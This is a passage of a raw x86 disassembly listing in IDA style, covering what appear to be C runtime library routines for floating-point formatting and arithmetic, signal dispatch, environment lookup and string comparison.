loc_42540D: ; CODE XREF: sub_4250CD+322j
mov [ebp+var_1C], esi
loc_425410: ; CODE XREF: sub_4250CD+371j
cmp dword_43A88C, 1
jle short loc_425428
movzx eax, bl
push 4
push eax
call sub_41F44A
pop ecx
pop ecx
jmp short loc_425437
; ---------------------------------------------------------------------------
loc_425428: ; CODE XREF: sub_4250CD+34Aj
mov ecx, off_43A680
movzx eax, bl
mov al, [ecx+eax*2]
and eax, 4
loc_425437: ; CODE XREF: sub_4250CD+359j
test eax, eax
jz short loc_425440
mov bl, [edi]
inc edi
jmp short loc_425410
; ---------------------------------------------------------------------------
loc_425440: ; CODE XREF: sub_4250CD+99j
; sub_4250CD+E4j ...
dec edi
jmp short loc_425445
; ---------------------------------------------------------------------------
loc_425443: ; CODE XREF: sub_4250CD+261j
; sub_4250CD+2BCj
mov edi, ecx
loc_425445: ; CODE XREF: sub_4250CD+2DDj
; sub_4250CD+2EBj ...
mov eax, [ebp+arg_4]
cmp [ebp+var_10], 0
mov [eax], edi
jz loc_42552D
push 18h
pop eax
cmp [ebp+var_4], eax
jbe short loc_425471
cmp [ebp+var_45], 5
jl short loc_425465
inc [ebp+var_45]
loc_425465: ; CODE XREF: sub_4250CD+393j
mov [ebp+var_4], eax
mov eax, [ebp+var_C]
dec eax
inc [ebp+var_8]
jmp short loc_425474
; ---------------------------------------------------------------------------
loc_425471: ; CODE XREF: sub_4250CD+38Dj
mov eax, [ebp+var_C]
loc_425474: ; CODE XREF: sub_4250CD+3A2j
cmp [ebp+var_4], 0
jbe loc_425523
loc_42547E: ; CODE XREF: sub_4250CD+3BDj
dec eax
cmp byte ptr [eax], 0
jnz short loc_42548C
dec [ebp+var_4]
inc [ebp+var_8]
jmp short loc_42547E
; ---------------------------------------------------------------------------
loc_42548C: ; CODE XREF: sub_4250CD+3B5j
lea eax, [ebp+var_40]
push eax
lea eax, [ebp+var_5C]
push [ebp+var_4]
push eax
call sub_425006
mov eax, [ebp+var_1C]
xor ecx, ecx
add esp, 0Ch
cmp [ebp+var_18], ecx
jge short loc_4254AB
neg eax
loc_4254AB: ; CODE XREF: sub_4250CD+3DAj
add eax, [ebp+var_8]
cmp [ebp+var_20], ecx
jnz short loc_4254B6
add eax, [ebp+arg_10]
loc_4254B6: ; CODE XREF: sub_4250CD+3E4j
cmp [ebp+var_24], ecx
jnz short loc_4254BE
sub eax, [ebp+arg_14]
loc_4254BE: ; CODE XREF: sub_4250CD+3ECj
cmp eax, 1450h
jle short loc_4254F5
mov [ebp+var_2C], 1
loc_4254CC: ; CODE XREF: sub_4250CD+436j
mov ebx, [ebp+arg_8]
mov esi, [ebp+arg_8]
mov eax, [ebp+arg_8]
mov edx, [ebp+arg_8]
loc_4254D8: ; CODE XREF: sub_4250CD+454j
; sub_4250CD+45Ej
cmp [ebp+var_2C], 0
jz short loc_42553E
xor ebx, ebx
mov eax, 7FFFh
mov esi, 80000000h
xor edx, edx
mov [ebp+var_14], 2
jmp short loc_425553
; ---------------------------------------------------------------------------
loc_4254F5: ; CODE XREF: sub_4250CD+3F6j
cmp eax, 0FFFFEBB0h
jge short loc_425505
mov [ebp+var_30], 1
jmp short loc_4254CC
; ---------------------------------------------------------------------------
loc_425505: ; CODE XREF: sub_4250CD+42Dj
push [ebp+arg_C]
push eax
lea eax, [ebp+var_40]
push eax
call sub_425CB6
mov edx, [ebp+var_40]
mov ebx, [ebp+var_40+2]
mov esi, [ebp+var_3A]
mov eax, [ebp+var_36]
add esp, 0Ch
jmp short loc_4254D8
; ---------------------------------------------------------------------------
loc_425523: ; CODE XREF: sub_4250CD+3ABj
xor edx, edx
xor eax, eax
xor esi, esi
xor ebx, ebx
jmp short loc_4254D8
; ---------------------------------------------------------------------------
loc_42552D: ; CODE XREF: sub_4250CD+381j
xor edx, edx
xor eax, eax
xor esi, esi
xor ebx, ebx
mov [ebp+var_14], 4
jmp short loc_425553
; ---------------------------------------------------------------------------
loc_42553E: ; CODE XREF: sub_4250CD+40Fj
cmp [ebp+var_30], 0
jz short loc_425553
xor edx, edx
xor eax, eax
xor esi, esi
xor ebx, ebx
mov [ebp+var_14], 1
loc_425553: ; CODE XREF: sub_4250CD+426j
; sub_4250CD+46Fj ...
mov ecx, [ebp+arg_0]
or eax, [ebp+var_28]
pop edi
mov [ecx+6], esi
mov [ecx+2], ebx
mov [ecx+0Ah], ax
mov eax, [ebp+var_14]
pop esi
mov [ecx], dx
pop ebx
leave
retn
sub_4250CD endp
; ---------------------------------------------------------------------------
off_42556E dd offset loc_425137 ; DATA XREF: sub_4250CD+63r
dd offset loc_425186 ; jump table for switch statement
dd offset loc_4251DD
dd offset loc_425207
dd offset loc_425262
dd offset loc_4252D9
dd offset loc_42530F
dd offset loc_425359
dd offset loc_425338
dd offset loc_4253BD
dd offset loc_4253A7
dd offset loc_425373
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42559E proc near ; CODE XREF: sub_4244F9+2Cp
var_1C = byte ptr -1Ch
var_1B = byte ptr -1Bh
var_1A = byte ptr -1Ah
var_19 = byte ptr -19h
var_18 = byte ptr -18h
var_17 = byte ptr -17h
var_16 = byte ptr -16h
var_15 = byte ptr -15h
var_14 = byte ptr -14h
var_13 = byte ptr -13h
var_12 = byte ptr -12h
var_11 = byte ptr -11h
var_10 = word ptr -10h
var_E = dword ptr -0Eh
var_A = dword ptr -0Ah
var_6 = word ptr -6
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = byte ptr 18h
arg_14 = dword ptr 1Ch
push ebp
mov ebp, esp
sub esp, 1Ch
mov eax, [ebp+arg_8]
push ebx
mov ebx, [ebp+arg_14]
push esi
mov ecx, eax
mov esi, 7FFFh
and ecx, 8000h
and eax, esi
test cx, cx
push edi
mov [ebp+var_1C], 0CCh
mov [ebp+var_1B], 0CCh
mov [ebp+var_1A], 0CCh
mov [ebp+var_19], 0CCh
mov [ebp+var_18], 0CCh
mov [ebp+var_17], 0CCh
mov [ebp+var_16], 0CCh
mov [ebp+var_15], 0CCh
mov [ebp+var_14], 0CCh
mov [ebp+var_13], 0CCh
mov [ebp+var_12], 0FBh
mov [ebp+var_11], 3Fh
mov [ebp+var_4], 1
mov edx, eax
jz short loc_425600
mov byte ptr [ebx+2], 2Dh
jmp short loc_425604
; ---------------------------------------------------------------------------
loc_425600: ; CODE XREF: sub_42559E+5Aj
mov byte ptr [ebx+2], 20h
loc_425604: ; CODE XREF: sub_42559E+60j
mov edi, [ebp+arg_4]
test dx, dx
jnz short loc_42562A
test edi, edi
jnz short loc_42562A
cmp [ebp+arg_0], edi
jnz short loc_42562A
loc_425615: ; CODE XREF: sub_42559E+181j
and word ptr [ebx], 0
mov byte ptr [ebx+2], 20h
mov byte ptr [ebx+3], 1
mov byte ptr [ebx+4], 30h
jmp loc_425828
; ---------------------------------------------------------------------------
loc_42562A: ; CODE XREF: sub_42559E+6Cj
; sub_42559E+70j ...
cmp dx, si
jnz short loc_4256A9
mov eax, 80000000h
mov word ptr [ebx], 1
cmp edi, eax
jnz short loc_425643
cmp [ebp+arg_0], 0
jz short loc_425652
loc_425643: ; CODE XREF: sub_42559E+9Dj
test edi, 40000000h
jnz short loc_425652
push offset a1Snan ; "1#SNAN"
jmp short loc_425698
; ---------------------------------------------------------------------------
loc_425652: ; CODE XREF: sub_42559E+A3j
; sub_42559E+ABj
test cx, cx
jz short loc_42566C
cmp edi, 0C0000000h
jnz short loc_42566C
cmp [ebp+arg_0], 0
jnz short loc_425693
push offset a1Ind ; "1#IND"
jmp short loc_42567B
; ---------------------------------------------------------------------------
loc_42566C: ; CODE XREF: sub_42559E+B7j
; sub_42559E+BFj
cmp edi, eax
jnz short loc_425693
cmp [ebp+arg_0], 0
jnz short loc_425693
push offset a1Inf ; "1#INF"
loc_42567B: ; CODE XREF: sub_42559E+CCj
lea eax, [ebx+4]
push eax
call sub_41C620
pop ecx
mov byte ptr [ebx+3], 5
pop ecx
loc_42568A: ; CODE XREF: sub_42559E+109j
and [ebp+var_4], 0
jmp loc_425801
; ---------------------------------------------------------------------------
loc_425693: ; CODE XREF: sub_42559E+C5j
; sub_42559E+D0j ...
push offset a1Qnan ; "1#QNAN"
loc_425698: ; CODE XREF: sub_42559E+B2j
lea eax, [ebx+4]
push eax
call sub_41C620
pop ecx
mov byte ptr [ebx+3], 6
pop ecx
jmp short loc_42568A
; ---------------------------------------------------------------------------
loc_4256A9: ; CODE XREF: sub_42559E+8Fj
movzx eax, dx
mov ecx, edi
mov esi, eax
shr ecx, 18h
imul eax, 4D10h
shr esi, 8
and [ebp+var_10], 0
push 1
lea ecx, [esi+ecx*2]
mov [ebp+var_6], dx
imul ecx, 4Dh
mov [ebp+var_A], edi
lea esi, [ecx+eax-134312F4h]
mov eax, [ebp+arg_0]
sar esi, 10h
mov [ebp+var_E], eax
movsx eax, si
neg eax
push eax
lea eax, [ebp+var_10]
push eax
call sub_425CB6
add esp, 0Ch
cmp [ebp+var_6], 3FFFh
jb short loc_42570A
lea eax, [ebp+var_1C]
inc esi
push eax
lea eax, [ebp+var_10]
push eax
call sub_425A96
pop ecx
pop ecx
loc_42570A: ; CODE XREF: sub_42559E+15Aj
test [ebp+arg_10], 1
mov [ebx], si
jz short loc_425724
mov edi, [ebp+arg_C]
movsx eax, si
add edi, eax
test edi, edi
jg short loc_425727
jmp loc_425615
; ---------------------------------------------------------------------------
loc_425724: ; CODE XREF: sub_42559E+173j
mov edi, [ebp+arg_C]
loc_425727: ; CODE XREF: sub_42559E+17Fj
cmp edi, 15h
jle short loc_42572F
push 15h
pop edi
loc_42572F: ; CODE XREF: sub_42559E+18Cj
movzx esi, [ebp+var_6]
sub esi, 3FFEh
and [ebp+var_6], 0
mov [ebp+arg_14], 8
loc_425745: ; CODE XREF: sub_42559E+1B4j
lea eax, [ebp+var_10]
push eax
call sub_424FAB
dec [ebp+arg_14]
pop ecx
jnz short loc_425745
test esi, esi
jge short loc_42576F
neg esi
and esi, 0FFh
jle short loc_42576F
loc_425762: ; CODE XREF: sub_42559E+1CFj
lea eax, [ebp+var_10]
push eax
call sub_424FD9
dec esi
pop ecx
jnz short loc_425762
loc_42576F: ; CODE XREF: sub_42559E+1B8j
; sub_42559E+1C2j
lea ecx, [edi+1]
lea eax, [ebx+4]
test ecx, ecx
mov [ebp+arg_14], eax
jle short loc_4257CC
mov [ebp+arg_C], ecx
loc_42577F: ; CODE XREF: sub_42559E+229j
lea esi, [ebp+var_10]
lea edi, [ebp+arg_0]
movsd
movsd
lea eax, [ebp+var_10]
push eax
movsd
call sub_424FAB
lea eax, [ebp+var_10]
push eax
call sub_424FAB
lea eax, [ebp+arg_0]
push eax
lea eax, [ebp+var_10]
push eax
call sub_424F4D
lea eax, [ebp+var_10]
push eax
call sub_424FAB
mov al, byte ptr [ebp+var_6+1]
mov ecx, [ebp+arg_14]
and byte ptr [ebp+var_6+1], 0
add esp, 14h
add al, 30h
inc [ebp+arg_14]
dec [ebp+arg_C]
mov [ecx], al
jnz short loc_42577F
mov eax, [ebp+arg_14]
loc_4257CC: ; CODE XREF: sub_42559E+1DCj
mov cl, [eax-1]
dec eax
dec eax
cmp cl, 35h
lea ecx, [ebx+4]
jl short loc_425809
loc_4257D9: ; CODE XREF: sub_42559E+248j
cmp eax, ecx
jb short loc_4257EC
cmp byte ptr [eax], 39h
jnz short loc_4257E8
mov byte ptr [eax], 30h
dec eax
jmp short loc_4257D9
; ---------------------------------------------------------------------------
loc_4257E8: ; CODE XREF: sub_42559E+242j
cmp eax, ecx
jnb short loc_4257F0
loc_4257EC: ; CODE XREF: sub_42559E+23Dj
inc eax
inc word ptr [ebx]
loc_4257F0: ; CODE XREF: sub_42559E+24Cj
inc byte ptr [eax]
loc_4257F2: ; CODE XREF: sub_42559E+279j
sub al, bl
sub al, 3
mov [ebx+3], al
movsx eax, al
and byte ptr [eax+ebx+4], 0
loc_425801: ; CODE XREF: sub_42559E+F0j
mov eax, [ebp+var_4]
loc_425804: ; CODE XREF: sub_42559E+291j
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_425809: ; CODE XREF: sub_42559E+239j
; sub_42559E+275j
cmp eax, ecx
jb short loc_425819
cmp byte ptr [eax], 30h
jnz short loc_425815
dec eax
jmp short loc_425809
; ---------------------------------------------------------------------------
loc_425815: ; CODE XREF: sub_42559E+272j
cmp eax, ecx
jnb short loc_4257F2
loc_425819: ; CODE XREF: sub_42559E+26Dj
and word ptr [ebx], 0
mov byte ptr [ebx+2], 20h
mov byte ptr [ebx+3], 1
mov byte ptr [ecx], 30h
loc_425828: ; CODE XREF: sub_42559E+87j
and byte ptr [ebx+5], 0
push 1
pop eax
jmp short loc_425804
sub_42559E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_425831 proc near ; CODE XREF: sub_42249C+223Dp
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push esi
push edi
mov edi, [ebp+arg_0]
mov eax, edi
dec eax
dec eax
jz short loc_425898
dec eax
dec eax
jz short loc_425889
sub eax, 4
jz short loc_425889
sub eax, 3
jz short loc_425889
sub eax, 4
jz short loc_42587C
sub eax, 6
jz short loc_42586F
dec eax
jz short loc_425862
or eax, 0FFFFFFFFh
jmp loc_42595A
; ---------------------------------------------------------------------------
loc_425862: ; CODE XREF: sub_425831+27j
mov esi, dword_4D9A14
mov eax, offset dword_4D9A14
jmp short loc_4258A3
; ---------------------------------------------------------------------------
loc_42586F: ; CODE XREF: sub_425831+24j
mov esi, dword_4D9A10
mov eax, offset dword_4D9A10
jmp short loc_4258A3
; ---------------------------------------------------------------------------
loc_42587C: ; CODE XREF: sub_425831+1Fj
mov esi, dword_4D9A18
mov eax, offset dword_4D9A18
jmp short loc_4258A3
; ---------------------------------------------------------------------------
loc_425889: ; CODE XREF: sub_425831+10j
; sub_425831+15j ...
push edi
call sub_42595E
mov esi, [eax+8]
add eax, 8
pop ecx
jmp short loc_4258A3
; ---------------------------------------------------------------------------
loc_425898: ; CODE XREF: sub_425831+Cj
mov esi, dword_4D9A0C
mov eax, offset dword_4D9A0C
loc_4258A3: ; CODE XREF: sub_425831+3Cj
; sub_425831+49j ...
cmp esi, 1
jnz short loc_4258AF
xor eax, eax
jmp loc_42595A
; ---------------------------------------------------------------------------
loc_4258AF: ; CODE XREF: sub_425831+75j
test esi, esi
jnz short loc_4258BA
push 3
call sub_41BF42
loc_4258BA: ; CODE XREF: sub_425831+80j
push ebx
push 8
pop ecx
cmp edi, ecx
jz short loc_4258CC
cmp edi, 0Bh
jz short loc_4258CC
cmp edi, 4
jnz short loc_4258F2
loc_4258CC: ; CODE XREF: sub_425831+8Fj
; sub_425831+94j
mov ebx, dword_4D97EC
and dword_4D97EC, 0
cmp edi, ecx
jnz short loc_425921
mov edx, dword_43ACDC
mov dword_43ACDC, 8Ch
mov [ebp+arg_0], edx
jmp short loc_4258F5
; ---------------------------------------------------------------------------
loc_4258F2: ; CODE XREF: sub_425831+99j
mov ebx, [ebp+arg_0]
loc_4258F5: ; CODE XREF: sub_425831+BFj
cmp edi, ecx
jnz short loc_425921
mov eax, dword_43ACD0
mov ecx, dword_43ACD4
add ecx, eax
cmp eax, ecx
jge short loc_425928
lea edx, [eax+eax*2]
sub ecx, eax
lea edx, ds:43AC60h[edx*4]
loc_425916: ; CODE XREF: sub_425831+ECj
and dword ptr [edx], 0
add edx, 0Ch
dec ecx
jnz short loc_425916
jmp short loc_425928
; ---------------------------------------------------------------------------
loc_425921: ; CODE XREF: sub_425831+AAj
; sub_425831+C6j
and dword ptr [eax], 0
cmp edi, ecx
jnz short loc_425936
loc_425928: ; CODE XREF: sub_425831+D7j
; sub_425831+EEj
push dword_43ACDC
push 8
call esi
pop ecx
pop ecx
jmp short loc_425944
; ---------------------------------------------------------------------------
loc_425936: ; CODE XREF: sub_425831+F5j
push edi
call esi
cmp edi, 0Bh
pop ecx
jz short loc_425944
cmp edi, 4
jnz short loc_425957
loc_425944: ; CODE XREF: sub_425831+103j
; sub_425831+10Cj
cmp edi, 8
mov dword_4D97EC, ebx
jnz short loc_425957
mov eax, [ebp+arg_0]
mov dword_43ACDC, eax
loc_425957: ; CODE XREF: sub_425831+111j
; sub_425831+11Cj
xor eax, eax
pop ebx
loc_42595A: ; CODE XREF: sub_425831+2Cj
; sub_425831+79j
pop edi
pop esi
pop ebp
retn
sub_425831 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_42595E proc near ; CODE XREF: sub_425831+59p
arg_0 = dword ptr 4
mov edx, [esp+arg_0]
mov ecx, dword_43ACD8
cmp dword_43AC5C, edx
push esi
mov eax, offset dword_43AC58
jz short loc_42598C
lea esi, [ecx+ecx*2]
lea esi, ds:43AC58h[esi*4]
loc_425980: ; CODE XREF: sub_42595E+2Cj
add eax, 0Ch
cmp eax, esi
jnb short loc_42598C
cmp [eax+4], edx
jnz short loc_425980
loc_42598C: ; CODE XREF: sub_42595E+16j
; sub_42595E+27j
lea ecx, [ecx+ecx*2]
pop esi
lea ecx, ds:43AC58h[ecx*4]
cmp eax, ecx
jnb short loc_4259A0
cmp [eax+4], edx
jz short locret_4259A2
loc_4259A0: ; CODE XREF: sub_42595E+3Bj
xor eax, eax
locret_4259A2: ; CODE XREF: sub_42595E+40j
retn
sub_42595E endp
; =============== S U B R O U T I N E =======================================
sub_4259A3 proc near ; CODE XREF: sub_4246FC+23p
arg_0 = dword ptr 4
cmp dword_4DADA8, 0
push ebx
push esi
mov esi, dword_4D973C
push edi
jz short loc_425A1A
test esi, esi
jnz short loc_4259D4
cmp dword_4D9744, esi
jz short loc_425A1A
call sub_425D71
test eax, eax
jnz short loc_425A1A
mov esi, dword_4D973C
test esi, esi
jz short loc_425A1A
loc_4259D4: ; CODE XREF: sub_4259A3+14j
mov ebx, [esp+0Ch+arg_0]
test ebx, ebx
jz short loc_425A1A
push ebx
call sub_41B960
pop ecx
mov edi, eax
loc_4259E5: ; CODE XREF: sub_4259A3+6Dj
mov eax, [esi]
test eax, eax
jz short loc_425A1A
push eax
call sub_41B960
cmp eax, edi
pop ecx
jbe short loc_425A0D
mov eax, [esi]
cmp byte ptr [eax+edi], 3Dh
jnz short loc_425A0D
push edi
push ebx
push eax
call sub_425D32
add esp, 0Ch
test eax, eax
jz short loc_425A12
loc_425A0D: ; CODE XREF: sub_4259A3+51j
; sub_4259A3+59j
add esi, 4
jmp short loc_4259E5
; ---------------------------------------------------------------------------
loc_425A12: ; CODE XREF: sub_4259A3+68j
mov eax, [esi]
lea eax, [eax+edi+1]
jmp short loc_425A1C
; ---------------------------------------------------------------------------
loc_425A1A: ; CODE XREF: sub_4259A3+10j
; sub_4259A3+1Cj ...
xor eax, eax
loc_425A1C: ; CODE XREF: sub_4259A3+75j
pop edi
pop esi
pop ebx
retn
sub_4259A3 endp
; =============== S U B R O U T I N E =======================================
sub_425A20 proc near ; CODE XREF: sub_424DE6+8Bp
; sub_424DE6+D9p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_0]
push esi
cmp eax, dword_4DAB60
jnb short loc_425A87
mov ecx, eax
and eax, 1Fh
sar ecx, 5
mov ecx, dword_4DAA60[ecx*4]
lea edx, [ecx+eax*8+4]
mov cl, [ecx+eax*8+4]
test cl, 1
jz short loc_425A87
mov al, cl
mov esi, 8000h
and eax, 80h
cmp [esp+4+arg_4], esi
jnz short loc_425A60
and cl, 7Fh
jmp short loc_425A6D
; ---------------------------------------------------------------------------
loc_425A60: ; CODE XREF: sub_425A20+39j
cmp [esp+4+arg_4], 4000h
jnz short loc_425A7B
or cl, 80h
loc_425A6D: ; CODE XREF: sub_425A20+3Ej
neg eax
sbb eax, eax
mov [edx], cl
and ax, 0C000h
add eax, esi
pop esi
retn
; ---------------------------------------------------------------------------
loc_425A7B: ; CODE XREF: sub_425A20+48j
mov dword_4D9714, 16h
jmp short loc_425A91
; ---------------------------------------------------------------------------
loc_425A87: ; CODE XREF: sub_425A20+Bj
; sub_425A20+27j
mov dword_4D9714, 9
loc_425A91: ; CODE XREF: sub_425A20+65j
or eax, 0FFFFFFFFh
pop esi
retn
sub_425A20 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_425A96 proc near ; CODE XREF: sub_42559E+165p
; sub_425CB6+69p
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 24h
push ebx
mov ebx, [ebp+arg_4]
push esi
mov esi, [ebp+arg_0]
mov cx, [ebx+0Ah]
xor eax, eax
push edi
mov [ebp+var_14], eax
mov [ebp+var_24], eax
mov [ebp+var_20], eax
mov [ebp+var_1C], eax
mov ax, [esi+0Ah]
mov edi, ecx
mov edx, 7FFFh
xor edi, eax
and eax, edx
and ecx, edx
and edi, 8000h
cmp ax, 7FFFh
lea edx, [ecx+eax]
mov [ebp+arg_0], edx
jnb loc_425C96
cmp cx, 7FFFh
jnb loc_425C96
cmp dx, 0BFFDh
ja loc_425C96
cmp dx, 3FBFh
ja short loc_425AFF
xor eax, eax
jmp short loc_425B39
; ---------------------------------------------------------------------------
loc_425AFF: ; CODE XREF: sub_425A96+63j
test ax, ax
mov edx, 7FFFFFFFh
jnz short loc_425B21
inc [ebp+arg_0]
test [esi+8], edx
jnz short loc_425B21
xor eax, eax
cmp [esi+4], eax
jnz short loc_425B23
cmp [esi], eax
jnz short loc_425B23
jmp loc_425C90
; ---------------------------------------------------------------------------
loc_425B21: ; CODE XREF: sub_425A96+71j
; sub_425A96+79j
xor eax, eax
loc_425B23: ; CODE XREF: sub_425A96+80j
; sub_425A96+84j
cmp cx, ax
jnz short loc_425B46
inc [ebp+arg_0]
test [ebx+8], edx
jnz short loc_425B46
cmp [ebx+4], eax
jnz short loc_425B46
cmp [ebx], eax
jnz short loc_425B46
loc_425B39: ; CODE XREF: sub_425A96+67j
mov [esi+8], eax
mov [esi+4], eax
mov [esi], eax
jmp loc_425CB1
; ---------------------------------------------------------------------------
loc_425B46: ; CODE XREF: sub_425A96+90j
; sub_425A96+98j ...
mov [ebp+var_10], eax
lea eax, [ebp+var_20]
mov [ebp+var_4], eax
mov [ebp+arg_4], 5
loc_425B56: ; CODE XREF: sub_425A96+122j
mov eax, [ebp+var_10]
add eax, eax
cmp [ebp+arg_4], 0
jle short loc_425BAA
add eax, esi
lea ecx, [ebx+8]
mov [ebp+var_8], eax
mov eax, [ebp+arg_4]
mov [ebp+var_C], ecx
mov [ebp+var_18], eax
loc_425B72: ; CODE XREF: sub_425A96+112j
mov eax, [ebp+var_8]
mov ecx, [ebp+var_C]
movzx eax, word ptr [eax]
movzx ecx, word ptr [ecx]
imul eax, ecx
mov ecx, [ebp+var_4]
add ecx, 0FFFFFFFCh
push ecx
push eax
push dword ptr [ecx]
call sub_424F2C
add esp, 0Ch
test eax, eax
jz short loc_425B9D
mov eax, [ebp+var_4]
inc word ptr [eax]
loc_425B9D: ; CODE XREF: sub_425A96+FFj
add [ebp+var_8], 2
sub [ebp+var_C], 2
dec [ebp+var_18]
jnz short loc_425B72
loc_425BAA: ; CODE XREF: sub_425A96+C9j
add [ebp+var_4], 2
inc [ebp+var_10]
dec [ebp+arg_4]
cmp [ebp+arg_4], 0
jg short loc_425B56
add [ebp+arg_0], 0C002h
cmp word ptr [ebp+arg_0], 0
jle short loc_425BED
loc_425BC8: ; CODE XREF: sub_425A96+14Ej
test byte ptr [ebp+var_1C+3], 80h
jnz short loc_425BE6
lea eax, [ebp+var_24]
push eax
call sub_424FAB
add [ebp+arg_0], 0FFFFh
pop ecx
cmp word ptr [ebp+arg_0], 0
jg short loc_425BC8
loc_425BE6: ; CODE XREF: sub_425A96+136j
cmp word ptr [ebp+arg_0], 0
jg short loc_425C26
loc_425BED: ; CODE XREF: sub_425A96+130j
add [ebp+arg_0], 0FFFFh
cmp word ptr [ebp+arg_0], 0
jge short loc_425C26
movsx eax, word ptr [ebp+arg_0]
neg eax
add [ebp+arg_0], eax
mov ebx, eax
loc_425C06: ; CODE XREF: sub_425A96+184j
test byte ptr [ebp+var_24], 1
jz short loc_425C0F
inc [ebp+var_14]
loc_425C0F: ; CODE XREF: sub_425A96+174j
lea eax, [ebp+var_24]
push eax
call sub_424FD9
dec ebx
pop ecx
jnz short loc_425C06
cmp [ebp+var_14], 0
jz short loc_425C26
or byte ptr [ebp+var_24], 1
loc_425C26: ; CODE XREF: sub_425A96+155j
; sub_425A96+163j ...
cmp word ptr [ebp+var_24], 8000h
ja short loc_425C3D
mov eax, [ebp+var_24]
and eax, 1FFFFh
cmp eax, 18000h
jnz short loc_425C72
loc_425C3D: ; CODE XREF: sub_425A96+196j
cmp [ebp+var_24+2], 0FFFFFFFFh
jnz short loc_425C6F
and [ebp+var_24+2], 0
cmp [ebp+var_20+2], 0FFFFFFFFh
jnz short loc_425C6A
and [ebp+var_20+2], 0
cmp word ptr [ebp+var_1C+2], 0FFFFh
jnz short loc_425C64
inc [ebp+arg_0]
mov word ptr [ebp+var_1C+2], 8000h
jmp short loc_425C72
; ---------------------------------------------------------------------------
loc_425C64: ; CODE XREF: sub_425A96+1C1j
inc word ptr [ebp+var_1C+2]
jmp short loc_425C72
; ---------------------------------------------------------------------------
loc_425C6A: ; CODE XREF: sub_425A96+1B5j
inc [ebp+var_20+2]
jmp short loc_425C72
; ---------------------------------------------------------------------------
loc_425C6F: ; CODE XREF: sub_425A96+1ABj
inc [ebp+var_24+2]
loc_425C72: ; CODE XREF: sub_425A96+1A5j
; sub_425A96+1CCj ...
mov eax, [ebp+arg_0]
cmp ax, 7FFFh
jnb short loc_425C96
mov cx, word ptr [ebp+var_24+2]
or eax, edi
mov [esi], cx
mov ecx, [ebp+var_20]
mov [esi+2], ecx
mov ecx, [ebp+var_1C]
mov [esi+6], ecx
loc_425C90: ; CODE XREF: sub_425A96+86j
mov [esi+0Ah], ax
jmp short loc_425CB1
; ---------------------------------------------------------------------------
loc_425C96: ; CODE XREF: sub_425A96+42j
; sub_425A96+4Dj ...
neg di
sbb edi, edi
and dword ptr [esi+4], 0
and edi, 80000000h
add edi, 7FFF8000h
and dword ptr [esi], 0
mov [esi+8], edi
loc_425CB1: ; CODE XREF: sub_425A96+ABj
; sub_425A96+1FEj
pop edi
pop esi
pop ebx
leave
retn
sub_425A96 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_425CB6 proc near ; CODE XREF: sub_4250CD+440p
; sub_42559E+14Cp
var_C = byte ptr -0Ch
var_A = dword ptr -0Ah
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
mov ebx, offset dword_43B158
xor ecx, ecx
sub ebx, 60h
cmp [ebp+arg_4], ecx
jz short loc_425D2F
jge short loc_425CDE
mov eax, [ebp+arg_4]
mov ebx, offset dword_43B2B8
neg eax
mov [ebp+arg_4], eax
sub ebx, 60h
loc_425CDE: ; CODE XREF: sub_425CB6+16j
cmp [ebp+arg_8], ecx
jnz short loc_425CE9
mov eax, [ebp+arg_0]
mov [eax], cx
loc_425CE9: ; CODE XREF: sub_425CB6+2Bj
cmp [ebp+arg_4], ecx
jz short loc_425D2F
push esi
push edi
loc_425CF0: ; CODE XREF: sub_425CB6+75j
mov eax, [ebp+arg_4]
add ebx, 54h
sar [ebp+arg_4], 3
and eax, 7
cmp eax, ecx
jz short loc_425D28
lea eax, [eax+eax*2]
cmp word ptr [ebx+eax*4], 8000h
lea esi, [ebx+eax*4]
jb short loc_425D1B
lea edi, [ebp+var_C]
movsd
movsd
movsd
dec [ebp+var_A]
lea esi, [ebp+var_C]
loc_425D1B: ; CODE XREF: sub_425CB6+57j
push esi
push [ebp+arg_0]
call sub_425A96
pop ecx
pop ecx
xor ecx, ecx
loc_425D28: ; CODE XREF: sub_425CB6+49j
cmp [ebp+arg_4], ecx
jnz short loc_425CF0
pop edi
pop esi
loc_425D2F: ; CODE XREF: sub_425CB6+14j
; sub_425CB6+36j
pop ebx
leave
retn
sub_425CB6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_425D32 proc near ; CODE XREF: sub_4259A3+5Ep
; sub_42620E+18p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
cmp [ebp+arg_8], 0
jnz short loc_425D3F
xor eax, eax
pop ebp
retn
; ---------------------------------------------------------------------------
loc_425D3F: ; CODE XREF: sub_425D32+7j
push dword_4DAB64
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_8]
push [ebp+arg_0]
push 1
push dword_4DAD84
call sub_425DDF
add esp, 1Ch
test eax, eax
jnz short loc_425D6C
mov eax, 7FFFFFFFh
pop ebp
retn
; ---------------------------------------------------------------------------
loc_425D6C: ; CODE XREF: sub_425D32+31j
add eax, 0FFFFFFFEh
pop ebp
retn
sub_425D32 endp
; =============== S U B R O U T I N E =======================================
sub_425D71 proc near ; CODE XREF: sub_4259A3+1Ep
; sub_426087+5Bp
var_4 = dword ptr -4
push ecx
push ebx
push ebp
push esi
mov esi, dword_4D9744
push edi
xor edi, edi
mov eax, [esi]
cmp eax, edi
jz short loc_425DD2
mov ebx, dword_427194
loc_425D8A: ; CODE XREF: sub_425D71+5Fj
push edi
push edi
push edi
push edi
push 0FFFFFFFFh
push eax
push edi
push 1
call ebx
mov ebp, eax
